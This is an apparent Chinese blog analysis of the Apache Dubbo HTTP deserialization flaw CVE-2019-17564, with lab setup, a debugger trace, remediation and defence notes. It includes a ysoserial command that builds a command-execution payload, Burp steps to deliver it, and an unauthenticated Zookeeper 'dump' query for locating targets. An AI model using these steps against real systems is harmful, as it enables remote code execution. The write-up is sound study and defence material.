CVE-2019-17564 Apache Dubbo Http 反序列化漏洞深入分析

 

前言

上一篇文章勉强算是把Shiro反序列化漏洞分析了一遍。

由于本人是一个初学者,也没啥学习方法,只能多看几个漏洞的分析过程了。

今天周末,来分析一下Dubbo框架的RCE漏洞。

也许看多了,量变引发质变,也就会自己分析了吧。

 

Dubbo简介

官网: https://dubbo.apache.org/zh-cn/

Apache Dubbo 是一个基于Java的高性能,轻量级的RPC框架。Dubbo提供了三个关键功能,包括基于接口的远程呼叫,容错和负载平衡以及自动服务注册和发现。

功能列表:【基于透明接口的RPC、智能负载均衡、自动服务注册和发现、高扩展性、运行时流量路由、可视化服务治理】
GitHub: https://github.com/apache/dubbo

Dubbo支持Dubbo、RMI、Hessian、HTTP、WebService、Thrift、Native Thrift、Memcached、Redis、Rest、JsonRPC、XmlRPC、JmsRpc等协议,官方推荐使用Dubbo协议。

 

漏洞描述

在启用HTTP远程处理的Dubbo应用程序中发生不安全的反序列化。如果此实例启用了HTTP,则攻击者可能会提交其中包含Java对象的POST请求,以完全破坏Apache Dubbo的Provider实例。

Dubbo HTTP实例尝试对Java ObjectStream中的数据进行反序列化,该Java ObjectStream包含一组恶意类,通常称为小工具链,其调用会导致执行恶意代码。在这种情况下,有问题的恶意代码允许使用任意OS命令。

 

影响范围

2.7.0 <= Apache Dubbo <= 2.7.4.1

2.6.0 <= Apache Dubbo <= 2.6.7

Apache Dubbo = 2.5.x

此漏洞仅影响启用Dubbo提供的http协议的用户

 

漏洞环境搭建

搭建Dubbo环境之前,需要先启动依赖环境zookeeper

为什么用zookeeper

因为官方推荐使用zookeeper

zookeeper是什么?

zookeeper是注册中心,提供服务注册和发现功能。

详见: Zookeeper 注册中心

zookeeper环境搭建

下载: http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

解压:windows系统利用安装的解压软件直接解压。

配置:官方配置文档

在根目录新建文件夹data

重命名文件zookeeper-3.3.3\conf\zoo_sample.cfgzookeeper-3.3.3\conf\zoo.cfg

修改文件zookeeper-3.3.3\conf\zoo.cfgdataDir=/export/crawlspace/mahadev/zookeeper/server1/datadataDir=刚新建的data目录的绝对路径

运行: Windows系统双击 zookeeper-3.3.3\bin\zkServer.cmd

看到如下内容,启动成功。绑定本地端口2181

·
2020-09-04 16:16:47,110 - INFO  [main:ZooKeeperServerMain@94] - Starting server
·
·
2020-09-04 16:16:51,675 - INFO  [main:ZooKeeperServer@663] - tickTime set to 2000
2020-09-04 16:16:51,686 - INFO  [main:ZooKeeperServer@672] - minSessionTimeout set to -1
2020-09-04 16:16:51,687 - INFO  [main:ZooKeeperServer@681] - maxSessionTimeout set to -1
2020-09-04 16:16:51,988 - INFO  [main:NIOServerCnxn$Factory@143] - binding to port 0.0.0.0/0.0.0.0:2181
2020-09-04 16:16:52,004 - INFO  [main:FileTxnSnapLog@208] - Snapshotting: 0

Dubbo环境搭建

下载和配置

下载:https://github.com/apache/dubbo-samples

由于只有http协议受影响,所以提取出http协议部分。dubbo-samples-master\java\dubbo-samples-http

配置:

修改dubbo-samples-http\poc.xml配置

  1. 改为受影响版本,这里使用2.7.3
    <dubbo.version>2.7.7</dubbo.version>
    改为
    <dubbo.version>2.7.3</dubbo.version>
    
  2. 加入一个恶意的GadGets,比如:commons-collections-4
    <dependency>
     <groupId>org.apache.commons</groupId>
     <artifactId>commons-collections4</artifactId>
     <version>4.0</version>
    </dependency>
    

修改dubbo-samples-http\src\main\resources\spring\http-provider.xml配置

<dubbo:application name="http-provider"/>
// 确认zookeeper的IP和端口
<dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
// 配置dubbo的端口和ip,添加host字段,值为本机IP
<dubbo:protocol name="http" id="http" host="192.168.1.3" port="${servlet.port:8080}" server="${servlet.container:tomcat}"/>

<bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>

<dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>

导入idea

英文版IDEA: File->New->Project from existing resources ->选择目录”dubbo-samples-http”里面的pom.xml

中文版IDEA: 文件->New->项目从现有源->选择目录”dubbo-samples-http”里面的pom.xml

这时候就开始下载Maven项目的依赖了,一般会很慢。更换国内Maven源下载依赖会快很多,参考下面文章。

启动

找到路径\dubbo-samples-http\src\main\java\org\apache\dubbo\samples\http\HttpProvider.java,右键->运行(U) ‘HttpProvider.main()’

看到如下内容,表示启动成功:

[04/09/20 05:45:14:014 CST] main  INFO zookeeper.ZookeeperRegistry:  [DUBBO] Load registry cache file ···
[04/09/20 05:45:14:014 CST] main  INFO zookeeper.ZookeeperTransporter:  [DUBBO] find valid zookeeper ····
[04/09/20 05:45:14:014 CST] main  INFO zookeeper.ZookeeperRegistry:  [DUBBO]  Register: http://192.168.186.1:8080/org.apache.dubbo.samples.http.api.DemoService?······
[04/09/20 05:45:14:014 CST] main  INFO zookeeper.ZookeeperRegistry:  [DUBBO] Subscribe:····
[04/09/20 05:45:14:014 CST] main  INFO zookeeper.ZookeeperRegistry:  [DUBBO] Notify urls for ····
dubbo service started

 

漏洞分析

根据网上的资料,在org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service:43处设置断点。

接着利用burp发送paylaod,来到断点处。

然后按F7开始调试。首先来到org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle方法内。

169:获取请求路径

170:实例化HttpInvokerServiceExporter方法,并传递请求路径。

174:设置请求的地址和端口,并初始化。

接着,来到org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest方法内。

29 :读远程调用

org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation(javax.servlet.http.HttpServletRequest, java.io.InputStream)

最终,来到org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation方法内
68:反序列化读取对象,没有进行安全验证,从而触发反序列化漏洞执行任意代码。

堆栈

doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service:790, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:803, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1468, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

 

漏洞复现

payload生成

ysoserial.jar工具直接下载GitHub地址 https://gitter.im/frohoff/ysoserial

java -jar ysoserial.jar CommonsCollections4 calc > calc.ser

发包

浏览器访问HTTP协议接口路径(参考target/classes/spring/http-provider.xml文件中的配置)

http://192.168.186.1:8080/org.apache.dubbo.samples.http.api.DemoService,抓取请求包。

发送到burp的重放模块,请求方式改为POST,数据体用Paste from file选项选择刚才的paylaod文件calc.ser
点击Go即可出发漏洞执行calc命令

 

识别及利用

虽然这个漏洞复现起来挺简单的,但是,在实际渗透测试中使用却存在两个难点:

  1. 不能确定目标Dubbo是否使用http协议。
  2. 无法确定接口路径。

那么问题来了,黑盒情况下如何获取这些信息?

我首先想到拿我本地复现时的默认接口路径去尝试,经过一番fofa、shodan尝试,随即否定了。

我们回过头来分析一下,接口信息是写在http-provider.xml配置中的,如下,配置的最后一行:

<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-i·······">
    <context:property-placeholder/>

    <dubbo:application name="http-provider"/>

    <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>

    <dubbo:protocol name="http" id="http" host="192.168.186.1" port="${servlet.port:8080}" server="${servlet.container:tomcat}"/>

    <bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>

    <dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>
</beans>

同时,Dubbo又跟zookeeper有交互。

虽然我们不能直接查看http-provider.xml配置文件,但是zookeeper默认情况下,存在未授权访问漏洞。正好可以利用这个漏洞来查看接口路径,同时也解决了Dubbo所使用的协议的问题。

kali@kali:~$ echo dump | nc  192.168.186.1 2181
SessionTracker dump:
Session Sets (3):
0 expire at Sun Sep 06 15:32:44 CST 2020:
0 expire at Sun Sep 06 15:32:56 CST 2020:
1 expire at Sun Sep 06 15:33:10 CST 2020:
        0x1745a82ab030007
ephemeral nodes dump:
Sessions with Ephemerals (1):
0x1745a82ab030007:
        /dubbo/org.apache.dubbo.samples.http.api.DemoService/providers/http%3A%2F%2F192.168.186.1%3A8080%2Forg.apache.dubbo.samples.http.api.DemoService%3Fanyhost%3Dfalse%26application%3Dhttp-provider%26bean.name%3Dorg.apache.dubbo.samples.http.api.DemoService%26deprecated%3Dfalse%26dubbo%3D2.0.2%26dynamic%3Dtrue%26generic%3Dfalse%26interface%3Dorg.apache.dubbo.samples.http.api.DemoService%26methods%3DsayHello%26pid%3D4988%26register%3Dtrue%26release%3D2.7.3%26server%3Dtomcat%26side%3Dprovider%26timestamp%3D1599374218648

当然,还有其他情况,期待大佬补充。

 

修复及防御方案

修复

第一种、 最简单的,就是升级到不受影响版本,具体升级步骤参考官方文档。

https://github.com/apache/dubbo/releases/tag/dubbo-2.7.5

第二种、 禁用http协议,使用其他Dubbo支持协议。

修改http-provider.xml配置文件:

 <dubbo:protocol name="准备使用的协议" id="http" host="192.168.186.1" port="${servlet.port:8080}" server="${servlet.container:tomcat}"/>

具体详情参考官方协议配置文档。

防御方案

下面分析一下漏洞利用过程中的数据交互,以期找到其特征,从而有针对性的识别攻击。

在虚拟机中,用python写了个脚本,来利用此漏洞。

通过Wireshark抓包,如下:

不过,现在市面上的大多数WAF都添加了此漏洞的特征。

 

参考

(完)